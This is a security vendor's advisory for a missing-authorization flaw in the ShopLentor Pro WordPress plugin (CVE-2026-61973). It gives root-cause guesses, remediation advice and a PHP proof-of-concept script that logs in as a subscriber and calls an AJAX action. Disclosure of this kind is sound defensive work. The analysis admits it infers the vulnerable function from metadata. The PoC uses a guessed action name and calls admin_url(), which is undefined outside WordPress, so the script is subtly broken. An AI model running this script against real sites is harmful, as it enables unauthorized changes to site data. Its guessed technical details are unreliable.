Published : August 6, 2026

CVE-2026-61973: ShopLentor Pro <= 2.8.5 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 2.8.5
Patched Version
Disclosed July 31, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-61973 (metadata-based):
This vulnerability is a missing authorization issue in the ShopLentor Pro WordPress plugin, affecting versions up to and including 2.8.5. The flaw allows authenticated attackers with subscriber-level access to perform unauthorized actions due to a missing capability check on a function. The vulnerability has a CVSS score of 4.3 (medium severity), with the main impact being a low-level integrity change without direct data exposure or privilege escalation.

Root Cause:
The CWE classification (CWE-862 Missing Authorization) and the vulnerability description indicate that a specific function in the plugin lacks a sufficient capability check. In WordPress plugins, this typically occurs in AJAX handlers, REST API endpoints, or admin-post handlers where the developer checks for a nonce but forgets to verify user capabilities, or uses hooks that are accessible to lower-privileged users. Since no source code is available, the exact function is not confirmed, but Atomic Edge analysis infers that the vulnerable code is likely an AJAX action registered with both ‘wp_ajax_nopriv_’ and ‘wp_ajax_’ hooks or an AJAX action that only checks nonce validity without verifying user roles. The missing check allows any authenticated user, including subscribers, to invoke the function.

Exploitation:
An attacker who has a subscriber account can craft a request to the WordPress AJAX handler at /wp-admin/admin-ajax.php, setting the ‘action’ parameter to the vulnerable hook name. The exact action name is not disclosed in the metadata, but the plugin slug ‘woolentor-addons-pro’ suggests it may be something like ‘woolentor_ajax_action’ or a similar prefixed hook. The attacker will include any required parameters that the function expects, and because there is no capability check, the function executes. The request does not need a valid nonce if the function does not verify one, but the attacker may include one if the function only checks nonce and not capabilities. Atomic Edge research suggests that a realistic payload would be a simple POST request to admin-ajax.php with the action parameter set to the vulnerable handler, and potentially parameters that trigger the unauthorized state change.

Remediation:
To fix this vulnerability, the plugin developers must add a proper capability check to the affected function. This typically involves using current_user_can() with an appropriate capability such as ‘edit_posts’ or a custom capability for the specific action. For AJAX handlers, the check should be placed at the beginning of the callback function before any action is taken. The patch in version 2.8.6 likely adds a capability check to the vulnerable function. WordPress also recommends using the check_ajax_referer() function to verify nonces, but the primary fix is to ensure the user has the necessary permissions to perform the action.

Impact:
Successful exploitation allows an authenticated attacker with subscriber-level access to perform an action they are not authorized to do. The CVSS vector (C:N/I:L/A:N) indicates that the vulnerability does not directly compromise confidentiality or availability, but it does allow a low-level integrity impact. This could lead to unauthorized changes to plugin settings or data, which might affect the site’s appearance or functionality. The impact is limited to the specific action the vulnerable function performs, and without code analysis, the exact consequence cannot be determined, but it likely involves modifying some option or content without authorization.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-61973 - ShopLentor Pro <= 2.8.5 - Missing Authorization

/*
 * This PoC demonstrates how an authenticated subscriber can call a vulnerable
 * AJAX action in ShopLentor Pro without the required capability check.
 * The exact action name is not known from metadata, so this uses a common
 * pattern 'woolentor_pro_action'. Replace with the actual action if discovered.
 */

$target_url = 'http://example.com/wp-admin/admin-ajax.php';  // Set your target
$username = 'subscriber_user';  // Subscriber-level credentials
$password = 'password';         // Subscriber password

$action = 'woolentor_pro_action';  // Replace with the actual vulnerable action

// Step 1: Login to get cookies and nonce
$login_url = 'http://example.com/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => admin_url(),
    'testcookie' => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Extract the nonce from the dashboard (optional, if the AJAX handler checks nonce)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, admin_url('admin-ajax.php').'?action=heartbeat');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$dashboard = curl_exec($ch);
curl_close($ch);

preg_match('/"_wpnonce":"([^"]+)"/', $dashboard, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';

// Step 3: Call the vulnerable AJAX action as subscriber
$ajax_data = array(
    'action' => $action,
    // Add any other parameters the vulnerable function expects, e.g.:
    // 'option_name' => 'some_value',
);
if (!empty($nonce)) {
    $ajax_data['_ajax_nonce'] = $nonce;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Output the response for verification
echo "Response: " . $response;
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.